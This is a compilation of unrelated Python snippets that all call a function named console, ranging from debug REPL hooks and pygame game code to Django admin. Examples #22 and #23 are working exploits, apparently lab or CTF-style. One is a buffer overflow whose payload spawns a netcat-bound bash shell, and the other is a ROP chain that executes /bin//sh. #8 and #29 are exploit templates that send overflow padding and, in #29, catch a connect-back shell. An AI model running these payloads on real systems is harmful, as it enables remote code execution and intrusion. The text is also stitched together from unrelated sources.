Beispiel #1
0
def saveTagInfo(tagInfo):
    with fileLock:
        if tagInfo.name == 'artist':
            print("saveTagInfo: tagInfo.name == 'artist'")
            from console import console
            console({**locals(), **globals()})
        with open(f'{TAGS}/{legalizeTagName(tagInfo.name)}', 'wb+') as f:
            pickle.dump(tagInfo, f)
Beispiel #2
0
    def get_context_data(self, **kwargs):
        self.hdbg('This', 'is', 'an', 'example', 'of')
        self.hdbg('self.hdbg', 'usage')
        self.hdbg(self.request.META)
        kwargs = super().get_context_data(**kwargs)

        query_string_p = numerify(self.request.GET.get('p'))
        console(query_string_p, type(query_string_p))
        console.dir(self.request.user)
        return kwargs
Beispiel #3
0
def main():
    folder = chooseFolder()
    duration_of_interest = chooseDurationOfInterest(folder)
    region_of_interest = chooseRegionOfInterest(folder, duration_of_interest)
    frames = getListOfFrames(folder, duration_of_interest, region_of_interest)
    print('Doing rfft...')
    f = np.fft.rfft(frames, axis=0)
    temp = present(f)

    console({**locals(), **globals()})
Beispiel #4
0
def main():
    global hosts, result, s
    ss = PickleSocket()
    ss.bind(('localhost', 2333))
    ss.listen(1)
    print('listening...')
    s, addr = ss.accept()
    s.shakeHands()
    result = forceMap(ping, range(256**2), THREADS)
    hosts = [x for x in result if x is not None]
    cmd('cls')
    print('There are:', len(hosts))
    console(globals())
Beispiel #5
0
def demo_old():
    terminals = TerminalServer()
    terminals.newTerminal('debug')
    terminals.newTerminal('warning')
    term_3 = terminals.newTerminal('error')  # also returns the terminal
    terminals['debug'].print('1+1=2\n' * 10)  # just like a dict
    term_3.print('1/0=?')
    terminals['warning'].print('Warning! Everything is OK! ')
    print('Try doing `term_3.print("lol")`')
    print('^Z to close.')
    console({**locals(), **globals()})
    term_3.close()  # you can close a specific
    terminals.closeAll()  # or close all
Beispiel #6
0
def main():
    if path.samefile(os.getcwd(), str(Path.home())):
        os.chdir(DEFAULT)
    if len(sys.argv) >= 2:
        url = sys.argv[1]
        if len(sys.argv) == 3:
            filename = sys.argv[2]
        else:
            filename = None
        wget(url, filename)
    else:
        from console import console
        console(globals())
Beispiel #7
0
        def mouseUpdate(self):
            if pygame.time.get_ticks() >= self.mouseNext:
                if pygame.mouse.get_pressed()[0]:
                    if self.state == "Lobby":
                        for button in self.lobbyRoomButtons:
                            if button.checkClicked(pygame.mouse.get_pos()):
                                self.state = button.click()
                                self.socket.send("JOIN:" + self.state)
                                self.currentRoom = self.state
                                self.state = "Room"

                        for button in self.lobbyButtons:
                            if button.checkClicked(pygame.mouse.get_pos()):
                                self.state = button.click()
                                if self.state == "Create":
                                    self.socket.send("CREATE")
                                    self.host = True
                                    self.state = "Lobby"
                                    self.currentRoom = self.username.input
                
                    ## Message == SCORE:playerScore
                    elif self.state == "Score":
                        for button in self.scoreButtons:
                            if button.checkClicked(pygame.mouse.get_pos()):
                                self.state = button.click()

                    elif self.state == "Room":
                        for button in self.roomButtons:
                            if button.checkClicked(pygame.mouse.get_pos()):
                                self.state = button.click()
                                if self.state == "Ready":
                                    self.socket.send("READY")
                                    self.state = "Room"

                                elif self.state == "Lobby":
                                    self.socket.send("LEAVE ROOM")
                                    self.chatroom = console(self.screen, (636, 11), 367, 514, 20, 20)
                                    self.chatbox = console(self.screen, (636, 537), 367, 174, 20, 6, True)
                                    self.currentRoom = None
                                    self.host = False
                                    self.highScore = False

                                elif self.state == "multiGame":
                                    self.socket.send("START")
                                    self.chatbox.selected = False
                                    self.state = "Room"
                                    self.highScore = False
                                    
                        self.chatbox.checkClicked(pygame.mouse.get_pos())

                    self.mouseNext = pygame.time.get_ticks() + self.mouseDelay
Beispiel #8
0
def send_cmd(cmd):

        port = int(sys.argv[1])
        sock = socket.create_connection(('127.0.0.1', port),
                                    socket.getdefaulttimeout(),
                                    ('127.0.0.1', 0))

        sock.sendall("a"*1020)
	time.sleep(1)
        sock.sendall(cmd+"\r\n")
    
        while True:
            console(sock)
        sock.close()
Beispiel #9
0
 def setUp(self):
     self.buffer = StringIO()
     self.console = console_main.console(
         source=__name__,
         writer=self.buffer,
         enabled=True,
     )
Beispiel #10
0
def main():
    with open('../data2/pilot_features.csv', 'r', encoding='utf-8') as f:
        c = csv.reader(f)
        head = next(c)
        col = head.index('amenities')
        all_amens = Counter()
        i = 0
        for row in c:
            i += 1
            if i & 16 == 0:
                print(i)
            amens = row[col]
            all_amens.update(amens[1:-1].split(','))
    [print(*x, sep='\t') for x in all_amens.most_common()]
    from console import console
    console(locals())
Beispiel #11
0
def main():
    if len(sys.argv) < 2:
        from console import console
        console({'convert': convert})
    else:
        in_filename = sys.argv[1]
        with openAsciize(in_filename, verbose = True) as inF:
            print('File opened:', in_filename)
            out_filename = path.splitext(in_filename)[0] + '.py'
            print('Will overwrite:', out_filename)
            if input('Ok? y/n ') == 'y':
                with open(out_filename, 'w') as outF:
                    outF.write(convert(inF).read())
                print('ok')
            else:
                print('canceled')
Beispiel #12
0
        def __init__(self, screen, screenw, screenh, spriteList, soundManager, username, socket):
            self.sprites = spriteList
            self.screen = screen
            self.screenw = screenw
            self.screenh = screenh
            self.soundManager = soundManager
            self.username = username
            self.socket = socket
            self.state = "Lobby"
            self.fontSize = 80
            self.font = pygame.font.Font(os.path.join('Fonts', 'BaconFarm.ttf'), self.fontSize)
            self.roomFontSize = 50
            self.roomFont = pygame.font.Font(os.path.join('Fonts', 'nasalization-rg.ttf'), self.roomFontSize)
            
            self.lobbyButtons = []

            self.lobbyButtons.append(Button(self.screen, self.sprites.getSprite("LobbyCreateButton"), self.sprites.getSprite("LobbyCreateButtonHovered"), self.screenw - 283, 225, 280, 68, "Create", '', soundManager))
            self.lobbyButtons.append(Button(self.screen, self.sprites.getSprite("LobbyEjectButton"), self.sprites.getSprite("LobbyEjectButtonHovered"), self.screenw - 283, 425, 280, 68, "Menu", '', soundManager))

            self.lobbyRoomButtons = []

            self.roomButtons = []

            self.roomButtons.append(Button(self.screen, self.sprites.getSprite("ready"), self.sprites.getSprite("readyhover"), 0, self.screenh - 90, 184, 85, "Ready", '', soundManager))
            self.roomButtons.append(Button(self.screen, self.sprites.getSprite("exitbutton"), self.sprites.getSprite("exitbuttonhover"), 220*2, self.screenh - 90, 184, 85, "Lobby", '', soundManager))
            self.roomButtons.append(Button(self.screen, self.sprites.getSprite("startbuttondisable"), self.sprites.getSprite("startbuttondisable"), 220, self.screenh - 90, 184, 85, "multiGame", '', self.soundManager, True))

            self.rooms = {}
            self.currentRoom = None

            self.chatroom = console(self.screen, (636, 11), 367, 514, 20, 20)
            self.chatbox = console(self.screen, (636, 537), 367, 174, 20, 6, True)

            self.players = None

            self.score = 0
            self.highScore = False
            self.winner = None
            self.scoreButtons = []
            self.scoreButtons.append(Button(self.screen, self.sprites.getSprite("exit"), self.sprites.getSprite("exitHighlighted"), 368, 534, 281, 68, "Room", '', soundManager))
            
            self.mouseDelay = 50
            self.mouseNext = pygame.time.get_ticks()
            self.host = False
            self.socket.send("REFRESH")
Beispiel #13
0
 def __init__(self,board,num_players=2,players=[]):
     self.players=players
     self.board=board
     self.console=_console.console()
     self.statusWindow=statusWindow()
     self.default_money = 1500
     self.current_player = 0 # index of the current player
     self.winner = -1;
     self.num_players = num_players
Beispiel #14
0
def main():
    global s, hs
    s = HarmonicSynth(1, SR, FRAME_LEN, DTYPE[0], True, True, .02)
    hs = [Harmonic(220, 1) for _ in range(1)]
    pa = pyaudio.PyAudio()
    stream = pa.open(
        format = DTYPE[1], channels = 1, rate = SR, 
        output = True, frames_per_buffer = FRAME_LEN,
        stream_callback = onAudioOut, 
    )
    stream.start_stream()
    try:
        from console import console
        console({**locals(), **globals()})
    finally:
        print('Releasing resources... ')
        stream.stop_stream()
        stream.close()
        pa.terminate()
        print('Resources released. ')
Beispiel #15
0
 def __init__(self,num_players=2,players=[]):      
     self.players=players
     self.board=Board()
     self.gameWindow=None
     self.console=_console.console()
     self.default_money = 1500
     self.current_player_index = 0 # index of the current player
     self.winner = -1
     if num_players == 1:
         self.num_players = 2    #Its not a game of one
     else:    
         self.num_players = num_players
Beispiel #16
0
def main():
    t = TerminalThreePack('Example App',
                          path.join(path.dirname(__file__), 'demo_logs'))
    t['info'].print('Demonstrating anti-injection feature...')
    t['info'].print(f'user input = <log_<log_deli>deli>')
    sleep(1)
    t['info'].print('Start demonstrating main features! ')
    try:
        for i in range(99):
            for k in range(-i, i):
                try:
                    p = i / k
                    t['debug'].print(i, '/', k, '=', p)
                except Exception as e:
                    t['warning'].exception()
                sleep(.5)
            t['info'].print(f'Rank {i} test complete! ')
    except KeyboardInterrupt:
        print('I hope that was fun!')
        print("Now it's your turn. ")
        console({**globals(), **locals()})
Beispiel #17
0
 def __init__(self, num_players=2, players=[]):
     self.players = players
     self.board = Board()
     self.gameWindow = None
     self.console = _console.console()
     self.default_money = 1500
     self.current_player_index = 0  # index of the current player
     self.winner = -1
     if num_players == 1:
         self.num_players = 2  #Its not a game of one
     else:
         self.num_players = num_players
     self.doubles = 0
Beispiel #18
0
def chooseDurationOfInterest(folder):
    files = sorted([x for x in os.listdir(folder) if x.endswith('.jpg')])
    print('Total jpg files:', len(files))
    boundaries = []
    for i, prompt in [(0, 'start = '), (-1, 'end = ')]:
        dt = datetime.fromtimestamp(parseFilename(files[i]))
        default = dt.__repr__().split('.', 1)[1]
        boundaries.append(eval(inputChin(prompt, default)).timestamp())
    start, end = boundaries

    last_timestamp, time_delta = None, None
    before_start = 0
    duration = []
    for file in files:
        now_timestamp = parseFilename(file)
        if now_timestamp < start:
            before_start += 1
            continue
        if now_timestamp > end:
            break
        if last_timestamp is None:
            last_timestamp = now_timestamp
        else:
            if time_delta is None:
                time_delta = int(
                    inputChin('time_delta = ', now_timestamp - last_timestamp))
            if abs((now_timestamp - last_timestamp) / time_delta -
                   1) > TIME_FLUCT_TOLERANCE:
                print('Error! Missing a frame at',
                      datetime.fromtimestamp(last_timestamp + time_delta))
                console(locals())
                exit()
            last_timestamp = now_timestamp
        duration.append(file)
    taken = len(duration)
    print(before_start, 'before start,', taken, 'taken, and',
          len(files) - before_start - taken, 'after end. ')
    return duration
Beispiel #19
0
def get(driver: WebDriver, url):
    driver.get(url)
    if not driver.title.strip().endswith('· NIME 2021'):
        print('Error. title is:', driver.title)
        from console import console
        console({**globals(), **locals()})

    driver.execute_script('''
        document.getElementsByClassName(
            'more-cite-options-button'
        )[0].click();
    ''')

    cites = driver.find_elements_by_class_name('csl-entry')

    def findBib():
        for cite in cites:
            if '@inproceedings' in cite.text:
                return cite.text
        return False

    while not findBib():
        time.sleep(1)
    return findBib()
Beispiel #20
0
def client():
	# Initialize components
	n = NC.client_thread(sys.argv[2],8888)
	n.connect()
	c = C.console(n)
	c.setDaemon(True)
	c.start()

	# Dummy main event loop for client
	while n.connected:
		if n.match:       # This loop will run at a pre determined rate (eg. 10 Hz)
			              # Pack/queue all player commands (NET:Provide methods to pack and queue)
			n.send()      # Send player commands           (NET:Provide method to send all packets)
			              # Process all commands           (NET:Provide access to all the commands)
			              # Process metrics                (NET:Provide access to simplified metrics)
			              # Progess turn number            (NET:Handle internally I think)
			time.sleep(1) # Dummy frame render time
			n.recv()     # Recv oponent commands          (NET:Provide method to recv all packets)
		else:
			pass
Beispiel #21
0
 def simulate(self):
     cl = 'cls' if (platform.system() == 'Windows') else 'clear'
     clear = lambda: os.system(cl)
     while 1:
         clear()
         view = input('\nChoose view\n1. GUI\n2. Console\n\nView: ')
         if view == 1 or view == 2:
             break
     traffic = input('Enter the traffic density (Number of planes): ')
     initset = datagen.generateset(traffic)
     planes = list()
     #c = collision(traffic)
     for i in xrange(traffic):
         temp = Plane(initset.pid[i], i)
         planes.append(temp)
     planes.append(ATC())
     if view == 1:
         gui = GUI.gui()
         gui.gui(planes)
     else:
         con = console.console(planes)
Beispiel #22
0
temp = tmp.split('\n')
lastLine = temp[len(temp)-2]

stack= int(lastLine[52:60], 16)+400
system = unpack('<I', lastLine[60:64])[0]-54272
exit = unpack('<I', lastLine[60:64])[0]-109776

p = ''
p += pack('<I', system) #system
p += pack('<I', exit) #exit
p += pack('<I', stack) #cmd
p += pack('<I', stack-100)
p += pack('<I', stack-100)
p += ' '*500
p += "bash -c 'coproc p { /bin/bash 2>&1; }; nc -l 127.0.0.1 "+sys.argv[2]+" <&${p[0]} >&${p[1]}';   "

port = int(sys.argv[1])
sock = socket.create_connection(('127.0.0.1', port),
                                socket.getdefaulttimeout(),
                                ('127.0.0.1', 0))

sock.sendall("GET /"+" "+'w'*119+p+"\r\n\r\n")
time.sleep(5)

port = int(sys.argv[2])
sock = socket.create_connection(('127.0.0.1', port),
                                socket.getdefaulttimeout(),
                                ('127.0.0.1', 0))

console(sock)
Beispiel #23
0
p += pack('<I', 0x0808522a)  # pop edx ; ret
p += pack('<I', 0x08139060)  # @ .data
p += pack('<I', 0x080f1016)  # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x080c219d)  # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0808522a)  # pop edx ; ret
p += pack('<I', 0x08139064)  # @ .data + 4
p += pack('<I', 0x080f1016)  # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x080c219d)  # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0808522a)  # pop edx ; ret
p += pack('<I', 0x08139068)  # @ .data + 8
p += pack('<I', 0x08048ac1)  # xor eax, eax ; ret
p += pack('<I', 0x080c219d)  # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481e1)  # pop ebx ; ret
p += pack('<I', 0x08139060)  # @ .data
p += pack('<I', 0x0812b35b)  # pop ecx ; ret
p += pack('<I', 0x08139068)  # @ .data + 8
p += pack('<I', 0x0808522a)  # pop edx ; ret
p += pack('<I', 0x08139068)  # @ .data + 8
p += pack('<I', 0x080f1016)  # pop eax ; ret
p += pack('<I', 11)
p += pack('<I', 0x08074ded)  # int 0x80

sock.sendall(b'A' * 1023)
time.sleep(1)
sock.sendall(p)

connection = new_socket.accept()[0]
console(connection)
# :vim set sw=4 ts=8 sts=8 expandtab:
Beispiel #24
0
'''
More math utils than just `import math`
'''
import math


def factorial(up, down=0, optimize=True):
    '''
    When testing the runspeed, I found Python actually optimizes factorial(x) // factorial(y). 
    But when doing factorial(50000, 49000), my optimization is still faster, for unknown reasons. 
    '''
    if down == 0:
        return math.factorial(up)
    if not optimize:
        return math.factorial(up) // math.factorial(down)
    else:
        result = 1
        for i in range(down + 1, up + 1):
            result *= i
        return result


if __name__ == '__main__':
    from console import console
    console(globals())
Beispiel #25
0
#Since it's going to be used a ton, short name gv for global variable access
#TODO add in config.ini class to fill in globalvars


gv = globalvars.globalvars(size, framerate)

gv.version = u"Deluge 0.2 | Perineum."

#should toss time in a class eventually
gv.Clock = pygame.time.Clock()
gv.Clock.tick()

displayinstance = display.display(gv)
#playfieldinstance = playfield.playfield(gv, displayinstance)
consoleinstance = console.console(gv, displayinstance)
eventsinstance = events.events(gv, displayinstance, consoleinstance)
gameinstance = deluge.deluge(gv, displayinstance)
gameinstance.initBoard()


while 1:
    
    eventsinstance.handleevents()
    displayinstance.begin()

    #---- deluge
    #playfieldinstance.drawplayfield()
    gameinstance.checkEvents()
    gameinstance.drawBoard()
    
Beispiel #26
0
        print "You will be asked to update on exit."
        print
        update = True
else:
    update = False

emailbg = check.emailcheck()
emailbg.daemon = True
emailbg.start()
print "E-mail service started!"
txtbg = check.txtcheck()
txtbg.daemon = True
txtbg.start()
print "Text service started!"
plgverify = plgverify.plgverify()
print "Plugins have been verified!"
consolebg = console.console()
print "All systems are go!"
consolebg.run()
if update == True and settings[0] == True:
    os.spawnl(os.P_NOWAIT, "python.exe update.py")
    sys.exit()
if update == True and settings[0] == False:
    upyn = raw_input("Would you like to update? (Yes/no)")
    if upyn == "Yes" or "Y":
        os.spawnl(os.P_NOWAIT, "python.exe update.py")
        sys.exit()
    else:
        sys.exit()
elif update == False:
    sys.exit()
Beispiel #27
0
    def run (self):
        # -- bring up the main menu
        if input_has_been_pushed (SDLK_ESCAPE):
            import main_menu

            # -- create main menu without animation, 
            #    with saving and background enabled
            menu = main_menu.main_menu (1, 1, 1)

            # -- Stop updating the player
            gamedata_player ().set_schedule_active (0)
            gamedata_engine ().set_control_active (0)

            # -- open the main menu
            gamedata_engine ().main (menu, "game_menu")
            
            # -- main menu closed -> see what to do
            if menu.get_result () == 5:
                # -- quit the game
                gamedata_engine ().main_quit ()
            else:
                # -- continue
                gamedata_player ().set_schedule_active (1)
                gamedata_engine ().set_control_active (1)

            win_container.__del__ (menu)


        # -- shortcut to the load screen
        elif input_has_been_pushed (SDLK_l):
            s = data_screen (LOAD_SCREEN)
            s.set_activate (1)	

            # -- Stop updating the player
            gamedata_player ().set_schedule_active (0)
            gamedata_engine ().set_control_active (0)
            
            # -- open the load screen
            gamedata_engine ().main (s, "load_screen")
            
            # -- continue
            gamedata_player ().set_schedule_active (1)
            gamedata_engine ().set_control_active (1)
            

        # -- and to the save screen
        elif input_has_been_pushed (SDLK_s):
            s = data_screen (SAVE_SCREEN)
            s.set_activate (1)	

            # -- Stop updating the player
            gamedata_player ().set_schedule_active (0)
            gamedata_engine ().set_control_active (0)
            
            # -- open the save screen
            gamedata_engine ().main (s, "save_screen")

            # -- continue
            gamedata_player ().set_schedule_active (1)
            gamedata_engine ().set_control_active (1)


        # -- python console
        elif input_has_been_pushed (SDLK_TAB):
            import console

            c = console.console (globals ())
            c.set_activate (1)

            # -- Stop updating the player
            gamedata_player ().set_schedule_active (0)
            gamedata_engine ().set_control_active (0)

            # -- open the console
            gamedata_engine ().main (c, "console")

            # -- continue
            gamedata_player ().set_schedule_active (1)
            gamedata_engine ().set_control_active (1)
Beispiel #28
0
if __name__ == "__main__":
    from console import console
    console()
Beispiel #29
0
import socket
import sys
import time

if len(sys.argv) != 3:
    sys.exit("Usage: %s PORT CONNECT_PORT" % sys.argv[0])

port = int(sys.argv[1])
sock = socket.create_connection(('127.0.0.1', port))

port1 = int(sys.argv[2])

p = ("A" * 29).encode('utf-8')

##
## Add your payload here.
##

sock1 = socket.socket()
sock1.bind(('127.0.0.1', port1))
sock1.listen(5)

init = "A" * 1023
sock.sendall(init.encode('utf-8'))
time.sleep(1)
sock.sendall(p)

c, addr = sock1.accept()
console(c)
import logging

from django.contrib import admin
from django.contrib.auth.models import Permission

from console import console

__all__ = ['PermissionAdmin']

console = console(source=__name__)
logger = logging.getLogger('app')


@admin.register(Permission)
class PermissionAdmin(admin.ModelAdmin):
    search_fields = ['name']
    list_filter = ['content_type']
    list_select_related = ['content_type']
    autocomplete_fields = ['content_type']
    ordering = ['content_type__model']
Beispiel #31
0
def main():
    console({'sqrt': sqrt}, use_input=True, fixer=fixer)
Beispiel #32
0
framerate = 30

#Since it's going to be used a ton, short name gv for global variable access
#TODO add in config.ini class to fill in globalvars

gv = globalvars.globalvars(size, framerate)

gv.version = u"Deluge 0.2 | Perineum."

#should toss time in a class eventually
gv.Clock = pygame.time.Clock()
gv.Clock.tick()

displayinstance = display.display(gv)
#playfieldinstance = playfield.playfield(gv, displayinstance)
consoleinstance = console.console(gv, displayinstance)
eventsinstance = events.events(gv, displayinstance, consoleinstance)
gameinstance = deluge.deluge(gv, displayinstance)
gameinstance.initBoard()

while 1:

    eventsinstance.handleevents()
    displayinstance.begin()

    #---- deluge
    #playfieldinstance.drawplayfield()
    gameinstance.checkEvents()
    gameinstance.drawBoard()

    #----
Beispiel #33
0
#!/usr/bin/env python
"""
    Author: lunatunez
    Date Created: Mon Apr  4 20:28:29 2016
    Purpose: Tic Tac Toe Game
"""
import sys
import console
import gui


def usage(runfile):
    print('Incorrect number of arguments.')
    print('usage: $ python3 {} mode'.format(runfile))
    print('mode can be "console" or "gui"')


if __name__ == "__main__":
    # Check arguments
    if len(sys.argv) != 2:
        usage(sys.argv[0])
    elif sys.argv[1] == 'console':
        console.console()

    elif sys.argv[1] == 'gui':
        gui.run()
    else:
        usage(sys.argv[0])
Beispiel #34
0
#Since it's going to be used a ton, short name gv for global variable access
#TODO add in config.ini class to fill in globalvars


gv = globalvars.globalvars(size, framerate)

gv.version = "Flippy Pad 0.3"

#should toss time in a class eventually
gv.Clock = pygame.time.Clock()
gv.Clock.tick()


displayinstance = display.display(gv)
consoleinstance = console.console(gv)
eventsinstance = events.events(gv)
flippy = flippy_pad.flippy(gv)



#gv.console.log("MAIN: TEST LOG ENTRY - WEE!")


while 1:
    
    eventsinstance.handleEvents()
    flippy.update()

    consoleinstance.begin()